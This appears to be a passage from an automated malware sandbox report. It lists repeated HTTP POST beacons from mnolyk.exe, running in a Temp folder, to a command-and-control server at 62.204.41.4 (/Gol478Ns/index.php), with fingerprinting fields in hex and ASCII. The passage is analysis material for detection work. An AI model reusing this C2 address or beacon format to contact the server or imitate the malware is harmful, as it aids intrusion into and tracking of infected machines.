Feb 6, 2023 18:36:29.009571075 CET	568	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.7	49849	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:29.177906036 CET	568	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:29.243168116 CET	569	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.7	49850	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:29.439543962 CET	569	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:29.503218889 CET	570	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.7	49851	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:29.678141117 CET	570	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:29.742813110 CET	571	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.7	49852	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:29.914060116 CET	571	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:29.976921082 CET	572	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.7	49853	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:30.146488905 CET	572	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:30.211244106 CET	573	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.7	49854	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:30.381462097 CET	573	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:30.445030928 CET	574	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.7	49855	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:30.616175890 CET	574	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:30.680810928 CET	575	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.7	49737	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:00.769093990 CET	445	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:00.832873106 CET	445	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.7	49856	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:30.850297928 CET	575	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:30.912975073 CET	576	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.2.7	49857	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:31.085634947 CET	576	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:31.152002096 CET	577	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.2.7	49858	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:31.320590019 CET	577	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:31.384737968 CET	578	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.2.7	49859	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:31.553133011 CET	578	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:31.617983103 CET	579	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.2.7	49860	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:31.786990881 CET	579	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:31.851413012 CET	580	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	192.168.2.7	49861	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:32.032216072 CET	580	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:32.098774910 CET	581	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.7	49862	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:32.276209116 CET	581	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:32.340869904 CET	582	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.2.7	49863	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:32.512022972 CET	582	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:32.576287985 CET	583	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.7	49864	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:32.756227970 CET	583	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:32.819240093 CET	584	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.7	49865	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:32.990534067 CET	584	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:33.054577112 CET	585	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.7	49738	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:01.020544052 CET	446	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:01.085381031 CET	446	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.2.7	49866	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:33.225481033 CET	585	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:33.287621021 CET	586	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.7	49867	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:33.500442982 CET	586	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:33.564363956 CET	587	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.2.7	49868	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
